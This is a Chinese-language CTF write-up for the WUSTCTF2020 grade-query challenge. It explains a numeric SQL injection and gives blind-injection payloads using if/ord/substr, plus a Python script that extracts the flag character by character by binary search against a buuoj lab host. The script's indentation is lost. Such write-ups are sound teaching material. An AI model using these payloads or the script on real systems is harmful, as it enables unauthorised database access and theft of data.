WUSTCTF2020-颜值成绩查询

[WUSTCTF2020]颜值成绩查询

进入题目是一个查询,联想到之前做的题:

image-20210416174013260image-20210416174029609

image-20210416174029609

这里就是一个数值型的注入,奇怪的是,啥都没过滤,直接盲注:

?stunum=if(ord(substr(database(),0,1))>=0,1,0)%23

image-20210416174225317

?stunum=if(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0,1))>=0,1,0)%23

image-20210416174243563

表:

image-20210416174303651

flag在value列中:

image-20210416174324714

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

flag = ""
for x in range(1,100):
l = 32
r = 126
while r > l:
mid = int((l + r + 1) / 2)
x = str(x)
y = str(mid)
url = 'http://ae264edd-9cc0-4005-8193-2fe2294f2118.node3.buuoj.cn/?stunum=if(ord(substr((select(value)from(flag)),'+x+',1))>='+y+',1,0)#'
response = requests.get(url=url)
if "admin" in response.text:
l = mid
else:
r = mid - 1
time.sleep(0.03)
flag += (chr(int(r)))
print(chr(int(r)))
print(flag)
print(flag)

(最近没怎么做sql注入的题,手有点生……

作者

inanb

发布于

2021-04-16

更新于

2021-08-23

许可协议


:D 一言句子获取中...